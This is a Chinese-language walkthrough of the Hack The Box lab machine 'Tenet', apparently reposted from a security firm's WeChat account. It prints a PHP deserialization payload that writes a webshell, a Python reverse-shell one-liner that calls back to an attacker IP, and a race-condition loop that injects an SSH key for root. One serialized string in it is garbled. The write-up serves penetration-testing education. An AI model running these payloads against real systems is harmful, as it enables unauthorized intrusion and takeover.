0x01 靶场描述
Hack the box 是国外的一个靶机平台,里面的靶机包含多种系统类型,并且里面可以利用的漏洞类型多种多样,有很多靶机其实非常贴近实战情景。因此 HTB 是一个很好的学习渗透测试靶场,官网:https://www.hackthebox.eu/invite。Tenet特性如图:
0x02 靶场复现
知识点: 端口、漏洞扫描、PHP反序列化、条件竞争写入公钥提权
一、端口、漏洞扫描,PHP反序列化
1.使用nmap扫描,发现该目标开启了22和80端口
nmap -A -sS -sV -sC 10.10.10.223 #-A强力扫描 -sS SYN扫描 -sV识别服务版本 -sC调用脚本扫描
2.扫描目录,发现存在user.txt和wordpress目录
gobuster dir -u http://10.10.10.223 -x php,log,txt -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --wildcard -o gob
3.访问wordpress目录,查看源代码,发现存在tenet.htb域名,将该域名和ip加入/etc/hosts
vi /etc/hosts
4.访问www.tenet.htb的发现Migration文章存在一些信息
点击站点,我会注意到几个用户名(主角是所有三个帖子的作者,尼尔在“迁移”上留下了评论)。
迁移帖子很有趣:
我们正在将我们的数据从平面文件结构转移到更实质性的东西上。当我们让我们的一位开发人员进行迁移时,请耐心等待,这不会花费太长时间。
感谢您的耐心等待
来自尼尔的评论:
您是否删除了 sator php 文件和备份?迁移计划不完整!你为什么要这样做?!
sator.php
尼尔的评论让我寻找sator.php。它在虚拟主机上不存在tenet.htb,但在 IP 上(也许这就是为什么 neil 认为它已经消失了):
5.猜想sator.php文件是存在备份的,构造链接,并访问,下载sator.php.bak文件,发现备份文件存在一个PHP文件写入的反序列化漏洞
http://10.10.10.223/sator.php.bak
PHP反序列化大致理解:通过GET方式arepo参数,输入序列化的内容,当这个对象被销毁时,反序列化内容并带入file_put_contents函数写入文件名和内容
6.构造写入webshell的PHP序列化语句
1.编写序列化poc
class DatabaseExport
{
public $user_file = 'shell.php';
public $data = '<?php system($_GET["cmd"])?>';
}
$test = serialize(new DatabaseExport);
echo $test;
2.执行语句
php exp.php
3.得到写入webshell的序列化语句
O:14:"DatabaseExport":2:{s:9:"user_file";s:9:"shell.php";s:4:"data";s:28:""cmd"]) ";} system($_GET[
7.构造url编码的poc,成功写入webshell,并查看是否有python后,通过python3将shell反弹到本机的7777端口,得到一个www-date的shell
编码地址:http://www.ab173.com/enc/urlencode.php
1.通过反序列化漏洞写入webshell
http://10.10.10.223/sator.php?arepo=O:14:%22DatabaseExport%22:2:%7Bs:9:%22user_file%22;s:9:%22shell.php%22;s:4:%22data%22;s:29:%22%3C?php%20system($_GET%5B%22cmd%22%5D);?%3E%22;%7D
2.查看是否存在python3
http://10.10.10.223/shell.php?cmd=which%20python3
3.执行python3反弹shell语句
http://10.10.10.223/shell.php?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.8",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
8.通过信息收集,找到了wp-config.php文件,其中存有数据库账户密码neil:Opera2112
1.切换到wordpress目录
cd wordpress
2.查看接口文件
cat wp-config.php
9.切换到neil用户neil:Opera2112,得到了第一个flag
su neil
cat ~/user.txt
二、条件竞争写入公钥提权
1.查看sudo权限,发现可以直接用root权限执行enableSSH.sh文件
sudo -l
2.查看该文件,该文件是通过addkey()使用命令创建临时文件的函数mktemp创建ssh-XXXXXX文件,并将ssh-XXXXXX内容写入免密登录的文件
cat /usr/local/bin/enableSSH.sh
注:mktemp函数每次创建的文件名是随机的
mktemp -u /temp/ssh-XXXXXX
3.我们即通过循环可以找到该ssh-*文件,然后将其内容更改为我的 SSH 公钥,以此来将我的密钥写入/root/.ssh/authorized_keys
1.生成公私钥对,会保存在/root/.ssh目录
ssh-keygen -t rsa
2.连接第一个shell,运行写入公钥的循环
while true; do for fn in /tmp/ssh-*; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRmNFoE88NF5/n4baZ9RgPaTnIxgcoXKeTbnUvGVcTZgwq4lEKVT7BLZcW0zh9C2h8HLGA1XkIZNDGT4fWtvlklGf4OjMlwHTXrUKSCGXRSpBQIs89EUH54NVerwDtHTajCj1ZAMRvQyfloV32wqo/eaCSXpMojt4umwWvn6xX/W+4fZQBlRUGSGAW8z3xVUw/5ah7jBS5PwVTjAmTNl5kJ1g8Y4WrdgY/6FiuRo3doot+X53hHUGH8KIFPtvyoalPxWVuFRDoeQP99v5VEEg2tGendlcrOFVCjgbopU2K4xtnPLkrLnxKiSKVvhXISzSWxeAT6oFa/qyDOFZdWZJfTbowIekE7GlqQtMgTY6pZwZfsISw91JwBFl+37XL2tf0ma6leUFXKk0JmnqBEKLwDXVs2bSu+DTWQKWXUSm6SdrmVEvbvRkxEYcuIB+2n9uHzlWaJTJ+8XSI/WaPCrjJm8yXl11REm7w+xA4xbcINRCe2QNkm9lxCdHGpa4OvNs= root@kali' |tee /tmp/ssh-" > $fn; done; done
3.连接第二个shell,运行多次/usr/local/bin/enableSSH.sh脚本即可写入自己的公钥(失败则会提示Error in creating key file!)
sudo /usr/local/bin/enableSSH.sh
4.通过私钥进行ssh连接,得到root的flag
1.私钥ssh连接root
ssh root@10.10.10.223 -i id_rsa
2.查看flag
cat root.txt
(注:要在正规授权情况下测试网站:日站不规范,亲人泪两行)
0x03 公司简介
江西渝融云安全科技有限公司,2017年发展至今,已成为了一家集云安全、物联网安全、数据安全、等保建设、风险评估、信息技术应用创新及网络安全人才培训为一体的本地化高科技公司,是江西省信息安全产业链企业和江西省政府部门重点行业网络安全事件应急响应队伍成员。
公司现已获得信息安全集成三级、信息系统安全运维三级、风险评估三级等多项资质认证,拥有软件著作权十八项;荣获2020年全国工控安全深度行安全攻防对抗赛三等奖;庆祝建党100周年活动信息安全应急保障优秀案例等荣誉......
编制:sm
审核:fjh
审核:Dog
原文始发于微信公众号(融云攻防实验室):Hack The Box-Tenet
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论